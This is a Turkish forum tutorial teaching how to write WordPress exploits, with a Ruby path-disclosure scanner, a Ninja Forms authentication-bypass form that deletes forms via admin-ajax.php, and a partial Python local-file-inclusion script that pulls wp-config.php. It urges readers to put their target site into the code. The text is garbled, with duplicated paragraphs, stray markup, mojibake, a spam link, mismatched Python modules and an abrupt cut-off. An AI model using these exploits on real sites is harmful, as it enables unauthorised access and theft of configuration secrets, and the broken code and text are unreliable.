Merhaba ben saldırı timlerinden BUNJO, bu konuda WordPress için exploitlerin nasıl yazılacağını anlatacağım.
Bu serinin 7. konusu eski konular için profilimi ziyaret edip bulabilirsiniz.
İlk önce WordPress nasıl işler onu öğrenelim.
(Amacım exploit yazmak olduğu için tanımlar internetten alınıp düzenlenmiştir.)
WordPress, web siteleri oluşturmak ve yönetmek için kullanılan açık kaynaklı bir içerik yönetim sistemi (CMS)dir.
WordPress, dünya genelinde milyonlarca web sitesi tarafından kullanılmaktadır ve kullanıcı dostu arayüzü sayesinde çeşitli projeler için tercih edilmektedir.
WordPress Kullanmak İçin:
Domain ve Hosting Seçimi: İlk olarak, bir domain adı (web sitenizin adı) ve hosting (web sitenizin dosyalarını barındıran bir sunucu) seçmeniz gerekmektedir.
Bu adımları tamamladıktan sonra, hosting sağlayıcınızın kontrol paneline giriş yapın.
WordPress Kurulumu: Hosting kontrol panelinizde genellikle "1-Click Install" veya "Auto-Installer" gibi adlarla anılan bir özellik bulunur.
Bu özellik sayesinde, WordPress'i birkaç tıklamayla kolayca kurabilirsiniz. Kurulum sihirbazı genellikle size adım adım rehberlik eder.
Yönetici Paneli (Dashboard): WordPress'in yönetici paneline giriş yaparak, sitenizi yönetmeye başlayabilirsiniz.
Yönetici paneli genellikle sitenizin adını, tema ve eklentilerin yönetimi, içerik eklemek gibi birçok seçeneği içerir.
Temayı Seçme ve Özelleştirme: Tema, sitenizin görünümünü belirler. WordPress, birçok ücretsiz ve ücretli tema seçeneği sunar.
Tema seçtikten sonra, WordPress Customizer veya tema özel seçenekleri kullanarak sitenizin renkleri, fontları ve genel stilini özelleştirebilirsiniz.
Eklentileri Ekleyerek Fonksiyonları Genişletme: İhtiyacınıza göre eklentileri ekleyerek sitenize özellikler ekleyebilirsiniz.
Örneğin, SEO eklentileri, güvenlik eklentileri, iletişim formları gibi birçok eklenti mevcuttur.
İçerik Eklemek: Ana sayfa, hakkımızda sayfası, blog gönderileri gibi içerikleri ekleyebilir ve düzenleyebilirsiniz.
WordPress, kullanıcı dostu bir metin düzenleyici içerir, bu nedenle içerik eklemek oldukça basittir.
Menüler ve Sayfa Yapısı: Menülerinizi yöneterek sitenizin navigasyonunu oluşturabilir
ve sayfa yapınızı düzenleyebilirsiniz. Bu, ziyaretçilerin sitenizde kolayca gezinmelerini sağlar.
SEO Ayarları: SEO (arama motoru optimizasyonu) için temel ayarları yapabilir ve gerektiğinde SEO eklentilerini kullanabilirsiniz.
Bu, sitenizin arama motorlarında daha iyi sıralanmasına yardımcı olabilir.
Güncellemeleri Takip Etme: WordPress, zaman içinde güvenlik ve performans güncellemeleri alır.
Bu nedenle, düzenli olarak yönetici panelinizi kontrol ederek ve güncellemeleri uygulayarak sitenizi güncel tutmalısınız.
WordPress'in bu adımları takip ederek, kullanıcı dostu arayüzü sayesinde web sitenizi oluşturabilir ve yönetebilirsiniz.
Ayrıca, geniş bir topluluğa sahip olduğu için sorularınızı ve problemlerinizi çözmek için çeşitli kaynaklardan yararlanabilirsiniz.
Exploit Kısımı:
Bu kısımda başlıklar halinde ilerleyeceğim.
Multiple Path Disclosure Vulnerabilities
(Çoklu Yol Açıklama Güvenlik Açıkları)
Multiple Path Disclosure Vulnerabilities, genellikle web uygulamalarında karşılaşılan bir güvenlik açığı türüdür. Bu tür bir zafiyet, saldırganın web uygulamasının dosya yapısını ve konumunu belirlemesine izin verebilir. Path disclosure (yol ifşa etme), bir web sunucusunun dosya sistemine ilişkin bilgileri ifşa etmek anlamına gelir.
Biz de bu durumdan faydalanacağız.
Bu açığı genel olarak WordPress tarafında "WordPress Core 3.4.2" ile görebilirsiniz.
Multiple Path Disclosure Vulnerabilities, genellikle web uygulamalarında karşılaşılan bir güvenlik açığı türüdür. Bu tür bir zafiyet, saldırganın web uygulamasının dosya yapısını ve konumunu belirlemesine izin verebilir. Path disclosure (yol ifşa etme), bir web sunucusunun dosya sistemine ilişkin bilgileri ifşa etmek anlamına gelir.
Biz de bu durumdan faydalanacağız.
Bu açığı genel olarak WordPress tarafında "WordPress Core 3.4.2" ile görebilirsiniz.
Rich (BB code):
http://www.example.com/learn/t/wordpress/wp-includes/vars.php
http://www.example.com/learn/t/wordpress/wp-includes/update.php
http://www.example.com/learn/t/wordpress/wp-includes/theme.php
http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/sidebar.php
http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/header.php
http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/footer.php
http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/comments.php
http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php
http://www.example.com/learn/t/wordpress/wp-includes/template-loader.php
http://www.example.com/learn/t/wordpress/wp-includes/taxonomy.php
http://www.example.com/learn/t/wordpress/wp-includes/shortcodes.php
http://www.example.com/learn/t/wordpress/wp-includes/script-loader.php
http://www.example.com/learn/t/wordpress/wp-includes/rss.php
http:www.example.com/learn/t/wordpress/wp-includes/rss-functions.php
http://www.example.com/learn/t/wordpress/wp-includes/registration.php
http://www.example.com/learn/t/wordpress/wp-includes/registration-functions.php
http://www.example.com/learn/t/wordpress/wp-includes/post.php
http://www.example.com/learn/t/wordpress/wp-includes/post-template.php
http://www.example.com/learn/t/wordpress/wp-includes/nav-menu-template.php
http://www.example.com/learn/t/wordpress/wp-includes/ms-settings.php
http://www.example.com/learn/t/wordpress/wp-includes/ms-functions.php
http://www.example.com/learn/t/wordpress/wp-includes/ms-default-filters.php
http://www.example.com/learn/t/wordpress/wp-includes/ms-default-constants.php
http://www.example.com/learn/t/wordpress/wp-includes/media.php
http://www.example.com/learn/t/wordpress/wp-includes/kses.php
http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/config.php
http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php
http://www.example.com/learn/t/wordpress/wp-includes/general-template.php
http://www.example.com/learn/t/wordpress/wp-includes/functions.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-rss2.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-rss2-comments.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-rss.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-rdf.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-atom.php
http://www.example.com/learn/t/wordpress/wp-includes/feed-atom-comments.php
http://www.example.com/learn/t/wordpress/wp-includes/default-widgets.php
http://www.example.com/learn/t/wordpress/wp-includes/default-filters.php
http://www.example.com/learn/t/wordpress/wp-includes/comment-template.php
http://www.example.com/learn/t/wordpress/wp-includes/class.wp-styles.php
http://www.example.com/learn/t/wordpress/wp-includes/class.wp-scripts.php
http://www.example.com/learn/t/wordpress/wp-includes/class-wp-xmlrpc-server.php
http://www.example.com/learn/t/wordpress/wp-includes/class-wp-http-ixr-client.php
http://www.example.com/learn/t/wordpress/wp-includes/class-snoopy.php
http://www.example.com/learn/t/wordpress/wp-includes/class-feed.php
http://www.example.com/learn/t/wordpress/wp-includes/category-template.php
http://www.example.com/learn/t/wordpress/wp-includes/canonical.php
http://www.example.com/learn/t/wordpress/wp-includes/author-template.php
http://www.example.com/learn/t/wordpress/wp-includes/admin-bar.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/tag.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/single.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/sidebar.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/sidebar-footer.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/search.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/page.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/onecolumn-page.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-single.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-page.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-attachment.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/index.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/header.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/functions.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/footer.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/comments.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/category.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/author.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/attachment.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/archive.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/404.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/tag.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/single.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-page.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-footer.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/showcase.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/search.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/page.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/index.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/inc/widgets.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/inc/theme-options.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/image.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/functions.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/comments.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/category.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/author.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/archive.php
http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/404.php
http://www.example.com/learn/t/wordpress/wp-content/plugins/hello.php
http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/widget.php
http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/legacy.php
http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/akismet.php
http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/admin.php
http://www.example.com/learn/t/wordpress/wp-admin/user/menu.php
http://www.example.com/learn/t/wordpress/wp-admin/upgrade-functions.php
http://www.example.com/learn/t/wordpress/wp-admin/options-head.php
http://www.example.com/learn/t/wordpress/wp-admin/network/menu.php
http://www.example.com/learn/t/wordpress/wp-admin/menu.php
http://www.example.com/learn/t/wordpress/wp-admin/menu-header.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/user.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/upgrade.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/update.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/update-core.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/theme-install.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/template.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/schema.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/plugin.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/plugin-install.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/nav-menu.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/ms.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/misc.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/menu.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/media.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/file.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/dashboard.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/continents-cities.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-users-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-themes-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-theme-install-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-terms-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-posts-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-plugins-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-plugin-install-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-users-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-themes-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-sites-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-media-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-links-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ssh2.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpsockets.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpext.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-direct.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-comments-list-table.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-ftp-sockets.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/class-ftp-pure.php
http://www.example.com/learn/t/wordpress/wp-admin/includes/admin.php
http://www.example.com/learn/t/wordpress/wp-admin/admin-functions.php
Bu şekilde elimizle uğraşmak yerine example.com kısmına istediğimiz siteyi yazıp bize çıktıları veren bir kod yazacağız.
Ruby dili ile yazacağım.
Kütüphaneyi indirmek için:
CoffeeScript:
┌──(root㉿bunjo)-[~]
└─# apt install ruby-full
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
debtags kali-debtags libarmadillo11 libblockdev-crypto2 libblockdev-fs2 libblockdev-loop2 libblockdev-part-err2
libblockdev-part2 libblockdev-swap2 libblockdev-utils2 libblockdev2 libcanberra-gtk-module libcanberra-gtk0
libcbor0.8 libcurl3-nss libgdal33 libgeos3.11.1 libgumbo1 libgupnp-igd-1.0-4 libhttp-cookiejar-perl libjim0.81
liblc3-0 libmozilla-publicsuffix-perl libnfs13 libobjc-12-dev librtlsdr0 libspatialite7 libsuperlu5
libtexluajit2 libutf8proc2 libwebsockets17 libzxing2 lua-lpeg nss-plugin-pem python3-aioredis
python3-apscheduler python3-cryptography37 python3-debian python3-flask-security python3-future python3-jdcal
python3-py python3-pyminifier python3-quamash python3-rfc3986 python3-tzlocal
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
ri
The following NEW packages will be installed:
ri ruby-full
0 upgraded, 2 newly installed, 0 to remove and 30 not upgraded.
Need to get 9,968 B of archives.
After this operation, 26.6 kB of additional disk space will be used.
Do you want to continue? [Y/n]
CoffeeScript:
┌──(root㉿bunjo)-[~]
└─# gem install slop
Fetching slop-4.10.1.gem
Successfully installed slop-4.10.1
Parsing documentation for slop-4.10.1
Installing ri documentation for slop-4.10.1
Done installing documentation for slop after 0 seconds
1 gem installed
Adımlarnı takip edebilirsiniz.
Koda geçelim.
Kütüphaneleri aktaralım.
Koda geçelim.
Kütüphaneleri aktaralım.
Ruby:
require 'slop'
require 'net/http'
Uzantıları verelim. (Ben her uzantıyı eklemedim örnek bir anlatım yapıyorum.)
Ruby:
$links = [
"/learn/t/wordpress/wp-includes/vars.php",
"/learn/t/wordpress/wp-includes/update.php",
"/learn/t/wordpress/wp-includes/theme.php",
"/learn/t/wordpress/wp-includes/theme-compat/sidebar.php",
"/learn/t/wordpress/wp-includes/theme-compat/header.php",
"/learn/t/wordpress/wp-includes/theme-compat/footer.php",
"/learn/t/wordpress/wp-includes/theme-compat/comments.php",
"/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php",
"/learn/t/wordpress/wp-includes/template-loader.php",
"/learn/t/wordpress/wp-includes/taxonomy.php",
"/learn/t/wordpress/wp-includes/shortcodes.php",
"/learn/t/wordpress/wp-includes/script-loader.php",
]
İstek yollama kısımı.
Ruby:
def make_request(domain, path)
uri = URI.join(domain, path)
response = Net::HTTP.get_response(uri)
if response.code == '200'
puts "#{uri} - Başarılı istek (HTTP 200 OK)"
else
puts "#{uri} - İstek başarısız (HTTP #{response.code})"
end
end
Ana fonksiyon.
Ruby:
def main
params = { domain: nil }
options = Slop.parse do |opts|
opts.string '-d', '--domain', 'Define domain' do |domain|
params[:domain] = domain
end
end
if params[:domain].nil?
puts 'Lütfen bir domain belirtin.'
return
end
$links.each do |link|
make_request(params[:domain], link)
end
end
main
Tüm Kod:
Ruby:
require 'slop'
require 'net/http'
$links = [
"/learn/t/wordpress/wp-includes/vars.php",
"/learn/t/wordpress/wp-includes/update.php",
"/learn/t/wordpress/wp-includes/theme.php",
"/learn/t/wordpress/wp-includes/theme-compat/sidebar.php",
"/learn/t/wordpress/wp-includes/theme-compat/header.php",
"/learn/t/wordpress/wp-includes/theme-compat/footer.php",
"/learn/t/wordpress/wp-includes/theme-compat/comments.php",
"/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php",
"/learn/t/wordpress/wp-includes/template-loader.php",
"/learn/t/wordpress/wp-includes/taxonomy.php",
"/learn/t/wordpress/wp-includes/shortcodes.php",
"/learn/t/wordpress/wp-includes/script-loader.php",
]
def make_request(domain, path)
uri = URI.join(domain, path)
response = Net::HTTP.get_response(uri)
if response.code == '200'
puts "#{uri} - Başarılı istek (HTTP 200 OK)"
else
puts "#{uri} - İstek başarısız (HTTP #{response.code})"
end
end
def main
params = { domain: nil }
options = Slop.parse do |opts|
opts.string '-d', '--domain', 'Define domain' do |domain|
params[:domain] = domain
end
end
if params[:domain].nil?
puts 'Lütfen bir domain belirtin.'
return
end
$links.each do |link|
make_request(params[:domain], link)
end
end
main
Kullanım örneği:
Rich (BB code):
ruby exploit.rb --domain wordpress_sitesi
Authentication Bypass
"Authentication Bypass" (Kimlik Doğrulama Atlatma) açığı, bir sistemde veya uygulamada kullanıcı kimlik
doğrulamasının güvenlik kontrollerini etkisizleştiren veya atlatan bir zayıflık veya hata durumunu ifade eder.
WordPress gibi içerik yönetim sistemlerinde veya başka tür web uygulamalarında bu tür bir açık,
yetkisiz erişim sağlama veya güvenlik kontrollerini aşma potansiyeli taşıyabilir.
Bu açık için de "WordPress Plugin Ninja Forms 2.7.7" araştırabilirsiniz.
Burada incelememiz gereken bir dosya var.
admin-ajax.php
doğrulamasının güvenlik kontrollerini etkisizleştiren veya atlatan bir zayıflık veya hata durumunu ifade eder.
WordPress gibi içerik yönetim sistemlerinde veya başka tür web uygulamalarında bu tür bir açık,
yetkisiz erişim sağlama veya güvenlik kontrollerini aşma potansiyeli taşıyabilir.
Bu açık için de "WordPress Plugin Ninja Forms 2.7.7" araştırabilirsiniz.
Burada incelememiz gereken bir dosya var.
admin-ajax.php
PHP:
<?php
/**
* WordPress Ajax Process Execution
*
* @package WordPress
* @subpackage Administration
*
* @link https://codex.wordpress.org/AJAX_in_Plugins
*/
/**
* Executing Ajax process.
*
* @since 2.1.0
*/
define( 'DOING_AJAX', true );
if ( ! defined( 'WP_ADMIN' ) ) {
define( 'WP_ADMIN', true );
}
/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';
/** Allow for cross-domain requests (from the front end). */
send_origin_headers();
header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
header( 'X-Robots-Tag: noindex' );
// Require a valid action parameter.
if ( empty( $_REQUEST['action'] ) || ! is_scalar( $_REQUEST['action'] ) ) {
wp_die( '0', 400 );
}
/** Load WordPress Administration APIs */
require_once ABSPATH . 'wp-admin/includes/admin.php';
/** Load Ajax Handlers for WordPress Core */
require_once ABSPATH . 'wp-admin/includes/ajax-actions.php';
send_nosniff_header();
nocache_headers();
/** This action is documented in wp-admin/admin.php */
do_action( 'admin_init' );
$core_actions_get = array(
'fetch-list',
'ajax-tag-search',
'wp-compression-test',
'imgedit-preview',
'oembed-cache',
'autocomplete-user',
'dashboard-widgets',
'logged-in',
'rest-nonce',
);
$core_actions_post = array(
'oembed-cache',
'image-editor',
'delete-comment',
'delete-tag',
'delete-link',
'delete-meta',
'delete-post',
'trash-post',
'untrash-post',
'delete-page',
'dim-comment',
'add-link-category',
'add-tag',
'get-tagcloud',
'get-comments',
'replyto-comment',
'edit-comment',
'add-menu-item',
'add-meta',
'add-user',
'closed-postboxes',
'hidden-columns',
'update-welcome-panel',
'menu-get-metabox',
'wp-link-ajax',
'menu-locations-save',
'menu-quick-search',
'meta-box-order',
'get-permalink',
'sample-permalink',
'inline-save',
'inline-save-tax',
'find_posts',
'widgets-order',
'save-widget',
'delete-inactive-widgets',
'set-post-thumbnail',
'date_format',
'time_format',
'wp-remove-post-lock',
'dismiss-wp-pointer',
'upload-attachment',
'get-attachment',
'query-attachments',
'save-attachment',
'save-attachment-compat',
'send-link-to-editor',
'send-attachment-to-editor',
'save-attachment-order',
'media-create-image-subsizes',
'heartbeat',
'get-revision-diffs',
'save-user-color-scheme',
'update-widget',
'query-themes',
'parse-embed',
'set-attachment-thumbnail',
'parse-media-shortcode',
'destroy-sessions',
'install-plugin',
'update-plugin',
'crop-image',
'generate-password',
'save-wporg-username',
'delete-plugin',
'search-plugins',
'search-install-plugins',
'activate-plugin',
'update-theme',
'delete-theme',
'install-theme',
'get-post-thumbnail-html',
'get-community-events',
'edit-theme-plugin-file',
'wp-privacy-export-personal-data',
'wp-privacy-erase-personal-data',
'health-check-site-status-result',
'health-check-dotorg-communication',
'health-check-is-in-debug-mode',
'health-check-background-updates',
'health-check-loopback-requests',
'health-check-get-sizes',
'toggle-auto-updates',
'send-password-reset',
);
// Deprecated.
$core_actions_post_deprecated = array(
'wp-fullscreen-save-post',
'press-this-save-post',
'press-this-add-category',
'health-check-dotorg-communication',
'health-check-is-in-debug-mode',
'health-check-background-updates',
'health-check-loopback-requests',
);
$core_actions_post = array_merge( $core_actions_post, $core_actions_post_deprecated );
// Register core Ajax calls.
if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get, true ) ) {
add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
}
if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post, true ) ) {
add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
}
add_action( 'wp_ajax_nopriv_generate-password', 'wp_ajax_nopriv_generate_password' );
add_action( 'wp_ajax_nopriv_heartbeat', 'wp_ajax_nopriv_heartbeat', 1 );
$action = $_REQUEST['action'];
if ( is_user_logged_in() ) {
// If no action is registered, return a Bad Request response.
if ( ! has_action( "wp_ajax_{$action}" ) ) {
wp_die( '0', 400 );
}
/**
* Fires authenticated Ajax actions for logged-in users.
*
* The dynamic portion of the hook name, `$action`, refers
* to the name of the Ajax action callback being fired.
*
* @since 2.1.0
*/
do_action( "wp_ajax_{$action}" );
} else {
// If no action is registered, return a Bad Request response.
if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {
wp_die( '0', 400 );
}
/**
* Fires non-authenticated Ajax actions for logged-out users.
*
* The dynamic portion of the hook name, `$action`, refers
* to the name of the Ajax action callback being fired.
*
* @since 2.8.0
*/
do_action( "wp_ajax_nopriv_{$action}" );
}
// Default status.
wp_die( '0' );
Bu kodu şuan incelediğimiz zaman:
POST işlemi gerçekleştiğini anlıyoruz.
PHP:
$action = $_REQUEST['action'];
if ( is_user_logged_in() ) {
// Kullanıcı giriş yapmışsa...
// Eğer tanımlı bir işlem yoksa veya istenen işlem tanınmıyorsa,
// hatalı bir istek durumunda 400 Bad Request hatasıyla işlem sonlandırılır.
if ( ! has_action( "wp_ajax_{$action}" ) ) {
wp_die( '0', 400 );
}
// İlgili Ajax işlemi yürütülür.
do_action( "wp_ajax_{$action}" );
} else {
// Kullanıcı giriş yapmamışsa...
// Eğer tanımlı bir işlem yoksa veya istenen işlem tanınmıyorsa,
// hatalı bir istek durumunda 400 Bad Request hatasıyla işlem sonlandırılır.
if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {
wp_die( '0', 400 );
}
// İlgili Ajax işlemi yürütülür.
do_action( "wp_ajax_nopriv_{$action}" );
}
Bu kısımda gerçekeleşen koda bir bypass kodu göndereceğiz.
Kod:
HTML:
<html><body>
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>
Bu kodu tekrar yazmak yerine "WordPress Plugin Ninja Forms 2.7.7 - Authentication Bypass" sayfasından aldım.
example.com kısmına hedef sitenizi yazabilirsiniz.
inceleyip istediğiniz bypass kodlarını deneyebilirsiniz. Zaten WordPress exploiti yazmak isteyen kişi nasıl kullanacağını bilir. İnternetten ekstra detaylı olarak wordpress kurulumu videoları izleyip kendinize bir sunucu kurup daha çok mantığını kavrayabilirsiniz.
example.com kısmına hedef sitenizi yazabilirsiniz.
SQL Injection GüvenliÄi ve Login Bypass Testi
SQL Injection Saldırısı, SQL Injection GüvenliÄi ve Login Bypass Testi
www.burakavci.com.tr
inceleyip istediğiniz bypass kodlarını deneyebilirsiniz. Zaten WordPress exploiti yazmak isteyen kişi nasıl kullanacağını bilir. İnternetten ekstra detaylı olarak wordpress kurulumu videoları izleyip kendinize bir sunucu kurup daha çok mantığını kavrayabilirsiniz.
Local File Inclusion
Bu web açığını konusunu açarak anlattım profilimden bulabilirsiniz.
Burada WordPress için olan kısmını otomatik sömürecek bir kod yazacağız.
Kütüphaneleri aktaralım.
Bu satırlar, rastgele sayı üretmek, URL'ye HTTP isteği göndermek ve düzenli ifadelerle çalışmak için gerekli modülleri içe aktarır.
Hedef URL.
Benzersiz kimlik için RandomID üretelim.
url: Saldırının hedefi olan WordPress sitesinin URL'sini belirtir.
randomID: Rastgele bir sayı üretilir ve bu sayıyı kullanarak URL'ye eklenecek parametreler oluşturulur.
İsteğimizi gönderelim.
WordPress sitesine admin-ajax.php üzerinden bir HTTP POST isteği gönderilir. Bu istek, WordPress'in ave_publishPost Ajax işlemini tetiklemeyi amaçlar. İsteğin parametreleri arasında rastgele bir başlık (title), rastgele kısa bir metin (short), rastgele bir terim (term) ve wp-config.php dosyasına referans veren bir başlık resmi (thumb) bulunur.
ID bulunmasından sonra ikinci istek.
Oluşturulan ID ile ikinci bir HTTP GET isteği gönderilir. Bu, belirtilen ID'ye sahip bir içeriğin alınmasını amaçlar.
İkinci istek için yanıt işlenmesi.
İkinci yanıtın içeriği satır satır okunur. Eğer bir satırda belirli bir metin varsa ('attachment-post-thumbnail size-post-thumbnail wp-post-image'), bu satırdaki resim URL'si çıkarılır ve bu URL üzerinden resim içeriği alınarak ekrana yazdırılır.
Tüm Kod:[/COLOR]
Bu konu bu kadar. WordPress'in genel işleyişini bilmeden bu giriş seviye exploitlerden pek bir şey anlamazsınız. Konuda bahsettiğim gibi WordPress ile bir sunucu oluşturup mantığını kavramaya çalışabilirsiniz. Ben kendim de dahil ilgilenip öğrenmeye çalıştığım kısımlar var. WordPress ile alakalı diğer exploitler için "OffSec’s Exploit Database Archive" sayfasını incelemenizi ve PHP, JS gibi dillerle de çalışmalar yapmanızı öneririm. Ben temel ve giriş seviye de anlattım. Eksik bulduğunuz kısımları zorbalamak yerine konu açarak anlatabilirsiniz. Okuyan herkese teşekkür ederim.[/COLOR]
Burada WordPress için olan kısmını otomatik sömürecek bir kod yazacağız.
Kütüphaneleri aktaralım.
Bu satırlar, rastgele sayı üretmek, URL'ye HTTP isteği göndermek ve düzenli ifadelerle çalışmak için gerekli modülleri içe aktarır.
Python:
import random
import urllib.request
import re
Hedef URL.
Python:
url = "http://127.0.0.1/wordpress"
Benzersiz kimlik için RandomID üretelim.
Python:
randomID = int(random.random() * 100000000000000000)
url: Saldırının hedefi olan WordPress sitesinin URL'sini belirtir.
randomID: Rastgele bir sayı üretilir ve bu sayıyı kullanarak URL'ye eklenecek parametreler oluşturulur.
İsteğimizi gönderelim.
WordPress sitesine admin-ajax.php üzerinden bir HTTP POST isteği gönderilir. Bu istek, WordPress'in ave_publishPost Ajax işlemini tetiklemeyi amaçlar. İsteğin parametreleri arasında rastgele bir başlık (title), rastgele kısa bir metin (short), rastgele bir terim (term) ve wp-config.php dosyasına referans veren bir başlık resmi (thumb) bulunur.
Python:
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')[/COLOR]
[B][COLOR=rgb(255, 255, 255)]Dönen yanıtın işlenmesi.
İsteğin yanıtı satır satır okunur. Bu satırlar arasında geçen sayılar (\d+) toplanarak bir ID oluşturulur.[/COLOR][/B]
[/CENTER]
[CODE=python]for line in content:
numbers = re.findall(r'\d+',line)
id = numbers[-1]
id = int(id) / 10
Oluşturulan ID ile ikinci bir HTTP GET isteği gönderilir. Bu, belirtilen ID'ye sahip bir içeriğin alınmasını amaçlar.
Python:
